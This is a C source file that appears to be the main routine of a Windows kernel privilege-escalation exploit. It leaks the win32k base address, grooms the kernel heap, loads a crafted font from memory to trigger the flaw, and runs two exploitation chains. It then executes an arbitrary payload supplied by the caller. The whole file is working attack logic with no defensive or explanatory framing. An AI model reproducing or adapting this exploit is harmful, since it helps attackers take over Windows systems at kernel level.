#include <Windows.h>
#include "Exploit.h"
#include "Win32kLeaker.h"
#include "Exploiter.h"
#include "FontData.h"
static VOID ExecutePayload(LPVOID lpPayload)
{
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return;
}
VOID Exploit(LPVOID lpPayload)
{
DWORD cFonts;
PVOID pFontData = (PVOID)fontData;
DWORD ExAllocatePoolWithTag_offset;
ULONGLONG win32kBaseAddr;
ULONGLONG ntBaseAddr;
ExploiterInit();
win32kBaseAddr = LeakWin32kAddress();
if (win32kBaseAddr == NULL) {
return;
}
ExploiterSetupFirstChain(win32kBaseAddr);
ExploiterDoFengShui();
cFonts = 0;
HANDLE fh = AddFontMemResourceEx(pFontData, sizeof(fontData), 0, &cFonts);
RemoveFontMemResourceEx(fh);
ExploiterRunFirstChain();
ntBaseAddr = ExploiterGetNtBase();
ExploiterSetupSecondChain(win32kBaseAddr, ntBaseAddr);
ExploiterRunSecondChain();
ExpoiterCleanUp();
ExecutePayload(lpPayload);
}